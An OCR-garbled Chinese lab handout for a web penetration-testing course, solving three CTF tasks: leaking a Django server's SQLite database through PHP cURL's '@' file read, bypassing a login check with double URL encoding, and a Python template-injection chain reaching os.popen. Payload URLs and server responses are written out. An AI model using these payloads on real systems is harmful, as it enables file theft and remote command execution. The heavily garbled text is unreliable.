




版權(quán)說明:本文檔由用戶提供并上傳,收益歸屬內(nèi)容提供方,若內(nèi)容存在侵權(quán),請進行舉報或認領(lǐng)
文檔簡介
Web滲透測試實驗原理Django使用的是gbk編碼,超過%F7的編碼不在gbk中有意義。當(dāng)CURLOPT_SAFE_UPLO-AD為true時,如果在請求前面加上@的話phpcurl組件是會把后面的當(dāng)作絕對路徑請求,來讀取文件。當(dāng)且僅當(dāng)文件中存在中文字符的時候,Django才會報錯導(dǎo)致獲取文件內(nèi)容。網(wǎng)頁源代碼泄露一般由于敏感目錄被掃描,導(dǎo)致直接下載網(wǎng)站源碼查找敏感信息。模板引擎是通過將固定模板與多變數(shù)據(jù)結(jié)合起來生成html網(wǎng)頁的一種技術(shù),當(dāng)用戶直接輸入數(shù)據(jù)到模板不作任何過濾的時,可能會發(fā)生服務(wù)端模板注入攻擊。實驗?zāi)康?解Django框架的編碼漏洞了解網(wǎng)頁源代碼泄露了解服務(wù)器模塊注入實驗環(huán)境Windows10,Firefox推薦課時數(shù)推薦課時數(shù):2課時實驗步驟工控系統(tǒng)通過web系統(tǒng)提供給用戶可視化的界面,工控的web漏洞種類與傳統(tǒng)的web漏洞相同。實驗中用到的網(wǎng)站是攻防世界(s:〃)提供的在線web滲透測試平臺。任務(wù)一:Django框架超出編碼范圍進入網(wǎng)站&id=4658&paqe=2,點擊獲取在線場景,即可獲得實驗環(huán)境。Cat■158最正確Writeup由darkless提供目WP?建議難度系數(shù):題目來源:|_題目描述:抓住那只強題目場景:I點擊獲取在線場景題目附件:暫無(2)使用url字符,發(fā)現(xiàn)使用寬字節(jié)陽£:://111.200.24L244:57667/index.php?url二%bf,會出現(xiàn)報錯。IK0口兵修書答0;0&111200.241244IK0口兵修書答0;□大我白方站點口常用網(wǎng)址B新世紀(jì)研究生英語回…CZJctf03工控CloudAutomatedTesting輸入你的域名,例如:loli.clubSubnM<!DOCTYPEhtml><htallang=*,en"><head><B?ta-guiv*"content-typ@"cont?ntw,*t?xt/htnl;charset?utf-8',>〈■etana?e="robots"content="NONE,\OARCHIYE"><title>VnicodeEncodeErrorat/api/ping</title><styletype="text/css*,>htnl?{padding:0;margin:。;}body?{padding:lOpx20px:}body??(padding:0;}body\font:snailsans-serif:)body>div:border-bottom:Ipxsolidsddd:)hl{font-weight:normal;}h2{margin-bottom:.8ea;}h2span{font-size:80%:color:S666:font-weight:normal:}h3■.margin:lem0.5em0;}h4{margin:00.5en0;font-weight:normal:}code,pre;font-size:100%:white-space:pre-wrap:'?tableborder:lpxsolidSccc;border-collapse:collapse:width:100%;background:white;}tbodytd,tbodyth{vertical-align:top:padding:2px3px;}theadth(padding:lpx6Pxlpx3px:background:Sfefefe:text-align:left:font-weight:normal;font-size:1lpx:border:lpxsolid*ddd;(3)保存成html文件翻開查看:報的python的錯,并且使用的是Django的框架,正常的php界面出錯應(yīng)該報Apache或者nignx的錯。應(yīng)該是PHP通過cURL向django的站發(fā)送數(shù)據(jù),那邊處理完再將數(shù)據(jù)傳回。對于djang。框架,使用的是gbk編碼,超過%F7的編碼不在gbk中有意義。當(dāng)CURLOPT_SAFE_UPLOAD為true時,如果在請求前面加上@的話phpcurl組件是會把后面的當(dāng)作絕對路徑請求,來讀取文件。RequestMethod:RequestURL:DjangoVersion:ExceptionType:ExceptionValue:ExceptionLocation:PythonExecutable:PythonVersion:PythonPath:POSTRequestMethod:RequestURL:DjangoVersion:ExceptionType:ExceptionValue:ExceptionLocation:PythonExecutable:PythonVersion:PythonPath:UnicodeEncodeError'gbk'codeccan,tencodecharacteru\ufffdJinposition0:illegalmultibytesequence/opt/api/dnsapi/utils.pyinescape,line9/usr/bin/python['/opt/api,,'/usr/1ib/python2.T,'/usr/lib/python2.7/plat-x86_64-linux-gnu,'/usr/1ib/python2.7/lib-tk','/usr/1ib/python2.7/lib-old,,'/iict/1ih/nvthnn97/1ih-dvnl
同時發(fā)現(xiàn)了類似絕對路徑的樣式。/uft/Aocai/Aio/pyxnon^.//cn$x-picKages/ojango/core/nanai/case,pymi_sex_respcnseresponse=trapped.calIback(request.?callbick_args,??<!!Ibick.kvarts)?LocalvarsreturnfGargs,—kvargs)?localvars/opt/api/dnsapi/virvs.pyinping30.data=escape(data)?Localvars/opt/api/dnsapi/utils.pyinescape9-returnr.gncod*Cgbk')?LocalvarsRequestinformation(4)加上@這個路徑,放在地址欄中進行查看。發(fā)現(xiàn)又是一個html代碼,保存后翻開,發(fā)現(xiàn)有個database的絕對路徑。DATABASESfdefault':("ATOMIC_REQUESTS,:False,>*TDATABASESfdefault':("ATOMIC_REQUESTS,:False,>*T1AUTOCOIWIT*:True,,CONN_MAX.AGE,:0,'ENGINE':'django.db.backends.sqlite3,,'HOST':,HAME*:J/opt/api/|'OPTIONS':{}.'DIUUMCDr?.?Jsqlite3,,'PASSWORD':u'??************?*****',‘PORT':,'TEST':{'CHARSET':None,,f,TYCZ'.“AG,COLLATION':Hone,'MIRROR':None,'NAJIB':None),rrr*.,TI?E.ZOHE,:None,‘USER':"}}DATABASEROUTERS繼續(xù)用@這個路徑翻開::〃44:57667/index.php?url=@/opt/api/database.sqlite3,直接Ctrl+f搜ctf直接出來了,發(fā)現(xiàn)flag。Q\xOO\xOO\xOO\xOO\x(K)\xOO\xOO\xOO\xOO\xOO\xOO\xOO\xOO\xOO\xOO\xOO\xOO\xOO\xOO\x(X)\x(X)\xOO\xOO\xOO\xOO\xOO\xOO\x(X)\xOO\xOO\xOO\x1c\x01\x02A'*h5E>oooo_Such_A_G00D_?}\n&=39:</pre></td>任務(wù)二:網(wǎng)頁源代碼泄露(1)翻開瀏覽器,訪問://5:45191/index.phps得到主頁源代碼,如圖所6),C命①5:45191/index.phpsnotallowed!");exitO;}$_GET[id]=urldecode($_GET[id]);if($_GET[id]=="admin"){echoAccessgranted!";echoMKey:xxxxxxx}?>Canyouanthenticatetothiswebsite?進行代碼審計,可看出需要用GET方式給id參數(shù)傳遞一個為“admin”的值,但是會經(jīng)過一次urldecode(),會將傳入的值進行url解碼,所以要對admin進行兩次url編碼。
(2)對admin字符串進行第一次url編碼得到%61艙4%601%69%6?,可以在以下網(wǎng)站進行編碼::〃。將%61%64%601%69%60再次進行url編碼得到%2561%2564%2560)%2569%256。Unicode編碼UTF-8編碼URL編碼/解碼Unix時間裁Ascii/Native編碼互轉(zhuǎn)Hex編碼/解碼%25%36%31%25%36%34%25%36%64%25%36%39%25%36%65utf-8utf-8utf-8Hexj^清空結(jié)果utf-8Hexj^清空結(jié)果訪問:〃5:45191/index.php?id=%2561%2564%256d%2569%256e得到flag,如圖所示。5:45191/index.php?id=%2561%2564%256d%2569%256eAccessgranted!Key:cyberpeace{c2c0b3936a37ab0a289acaeb1999dc8d}Canyouanthenticatetothiswebsite?任務(wù)三:服務(wù)器模塊注入為了寫html代碼的時候方便,很多網(wǎng)站都會使用模板,先寫好一個html模板文件,比方:pythondeftest():code=request.args.get('id')html=<h3>%s</h3>%(code)returnrender_template_string(html)這段代碼中的“html”就是一個簡單的模板文件,當(dāng)開發(fā)者想要這個模板對應(yīng)的樣式時,可以直接用urender_template_stringH方法來調(diào)用這個模板,從而直接把這個樣式渲染出來。而模板注入,就是指**將一串指令代替變量傳入模板中讓它執(zhí)行**,以這段代碼為例,我們在傳入“code”值時,可以用“{出”符號來包裹一系列代碼,以此替代本應(yīng)是參數(shù)的“id":〃…./?id={{代碼}}接下來開始模板注入環(huán)節(jié):(1)先測試一下是不是確實能注入,構(gòu)造一個簡單的測試url:://111.198.29,45:46675/{{7*7]}服務(wù)器回傳:<-->C0&44:51574/{(7*7?齦☆□火狐官方站點C3常用網(wǎng)址@新世紀(jì)研究生英語健…CZictf□工控URL44:51574/49notfound“/49”的存在說明“7/7”這條指令被執(zhí)行了。然后開始想方法編代碼拿到服務(wù)器的控制臺權(quán)限:(2)這是一個python注入問題,用python語句獲取控制臺權(quán)限。于是有“os.system”和“os.popen”兩個語句,這兩句前者返回**退出狀態(tài)碼**,后者返回**輸出內(nèi)容*%我們想要的是內(nèi)容,所以選擇“os.popenuo_class_:返回對象所屬的類_mro_:返回一個類所繼承的基類元組,方法在解析時按照元組的順序解析。_base_:返回該類所繼承的基類_base_和_mro_都是用來尋找基類的_subclasses_:每個新類都保存了子類的引用,這個方法返回一個類中仍然可用的的引用的列表_init_:類的初始化方法_globals_:對包含函數(shù)全局變量的字典的弓I用找到當(dāng)前變量所在的類:://44:51574/%7B%7B"._class_%7D%7Do服務(wù)器回復(fù):CO&44S1574/{{"._class_}}嬲☆口火狐官方站點門常用網(wǎng)址⑥新世紀(jì)研究生英語閱…Cjctf口工控URL44:51574/<type'str'>notfound發(fā)現(xiàn)這個回復(fù)里已經(jīng)告訴我們這個變量的類是“str”了。(3)從這個類找到它的基類:://44:51574/%7B%7B"._class_._mro_%7D%7Do服務(wù)器回復(fù):
±n?><勺三O&±n?><勺三口火!1白力站正Cjmwwa⑥新世兄sw性契aw...DctiCjjjsDMe?s口修動g上的小URL://44:51574/(<type*str'>,<type'basestring'>,<type'object'〉)notfound發(fā)現(xiàn)基類也有了。(4)通過基類來找其中任意一個基類的引用列表:://111.198.29,45:46675/%7B%7B[]._class_._base_._subclasses_()%7D%7Do服務(wù)器回復(fù)了很長的一個列表,os模塊都是從wamings.catch_wamings模塊入手的,在所有模塊中查找catch_warnings的位置,為第59個,艮|l_sijbclasses__(59).O&111200.241244「4Cd口常用網(wǎng)址⑥初世妃》?羽浜Cd<hDusciassoDj>,<iypeuiciproxy>,<iypegenerator〈typegexseiaescripior>,<iype'wrapperdescriptor'>,<type'instance'>,<type'ellipsis'>,<type'memberdescriptor'>,<type'file'>,<type,PyCapsule,>f<type'cell'>,<type'callable-iterator'>f<type'iterator^,<type'sys.longinfo'〉,<type'sys.floatinfo'>,<type'EncodingMap'>r<type'fieldnameiterator1>,<type'formatteriterator'>,<type'sys.versioninfo'>,<type'sys.flags'>,<type'exceptions.BaseException'>,<type'module'>,<type'imp.Nulllmporter'>,<type'zipimport.zipimporter'>,<typeposix.statresult*>f<type<class'posix.statvfsresult'〉,〈class'warnings.WarningMessage'>,'warninqs.catch<class'warninqs.catch'warninqs.catchwarninqs>,<class'weakrefset.lterationGuard'>,<class'warninqs.catchwarninqs>,<class'weakrefset.lterationGuard'>,<class'weakrefset.WeakSet*>f<class'abcoll.Hashable'>,<type'classmethod'>,<class1abcoll.lterable,>f<dass1abcoll.Sized'>,<class'abcoll.Container1>,<class'abcoll.Callable'>,<type'dietkeys*>f<type'dietitems*>f<type'dietvalues'>r<class'site.Printer'>,<dass'site.Helper'>,<type'sre.SREPattern1>f<type*sre.SREMatch1>,<type*sre.SREScanner'>,<class'site.Quitter'>,<class'codecs.IncrementalEncoder'>,<class'codecs.IncrementalDecoder*>f<type'functools.partial'>,<type^npratnritpmnpttpr*>.<tvnp^npratnrattrapftpr'><tvnp'nnpratnrmpthndcallpr^.<tvnp(5)訪問eys()%7D%7D,查看catch_warnings模塊都存在哪些全局函數(shù),可以找到linecache函數(shù),os模塊就在其中。cO&111200.241.244S■,/4/|([]class必、,,口火貝官萬如SCjMfflWSt0.世紀(jì)初究生英酶…CjctfC3I?URL:〃44:51574/「filterwarnings','onceregistry','WarningMessage','showwarning','filters','setoption','showwarning
溫馨提示
- 1. 本站所有資源如無特殊說明,都需要本地電腦安裝OFFICE2007和PDF閱讀器。圖紙軟件為CAD,CAXA,PROE,UG,SolidWorks等.壓縮文件請下載最新的WinRAR軟件解壓。
- 2. 本站的文檔不包含任何第三方提供的附件圖紙等,如果需要附件,請聯(lián)系上傳者。文件的所有權(quán)益歸上傳用戶所有。
- 3. 本站RAR壓縮包中若帶圖紙,網(wǎng)頁內(nèi)容里面會有圖紙預(yù)覽,若沒有圖紙預(yù)覽就沒有圖紙。
- 4. 未經(jīng)權(quán)益所有人同意不得將文件中的內(nèi)容挪作商業(yè)或盈利用途。
- 5. 人人文庫網(wǎng)僅提供信息存儲空間,僅對用戶上傳內(nèi)容的表現(xiàn)方式做保護處理,對用戶上傳分享的文檔內(nèi)容本身不做任何修改或編輯,并不能對任何下載內(nèi)容負責(zé)。
- 6. 下載文件中如有侵權(quán)或不適當(dāng)內(nèi)容,請與我們聯(lián)系,我們立即糾正。
- 7. 本站不保證下載資源的準(zhǔn)確性、安全性和完整性, 同時也不承擔(dān)用戶因使用這些下載資源對自己和他人造成任何形式的傷害或損失。
最新文檔
- 老年常見疾病病人的護理
- 2024年1月化糞池疏通與雨污分流改造聯(lián)動施工合同
- 美甲聊天教學(xué)課件
- 腦卒中靜脈溶栓后的護理
- 汽車行業(yè)投放指南
- 2024珠海市第一中等職業(yè)學(xué)校工作人員招聘考試及答案
- 2024泉州市南方科技職業(yè)技術(shù)學(xué)校工作人員招聘考試及答案
- 2024滬東中華造船集團高級技工學(xué)校工作人員招聘考試及答案
- 2024河南工業(yè)職業(yè)技術(shù)學(xué)院工作人員招聘考試及答案
- 民間借貸及擔(dān)保合同范本
- 260噸汽車吊地基承載力驗算
- 青島版六年級數(shù)學(xué)上冊 (完美的圖形)教學(xué)課件(第1課時)
- 2022新能源光伏發(fā)電工程竣工決算報告模板
- 2023超星爾雅《創(chuàng)新創(chuàng)業(yè)》答案
- 110kV變電站短路電流計算書
- 船舶帶纜知識學(xué)習(xí)
- 2023年湖北省武漢市中考英語真題(含答案)
- 全面地476種食物升糖指數(shù)一覽表
- 自然交易理論基礎(chǔ)與進階(自然交易理論叢書)
- 2023年考研考博-考博英語-河北工業(yè)大學(xué)考試歷年高頻考點真題薈萃帶答案
- 國際關(guān)系理論智慧樹知到答案章節(jié)測試2023年外交學(xué)院
評論
0/150
提交評論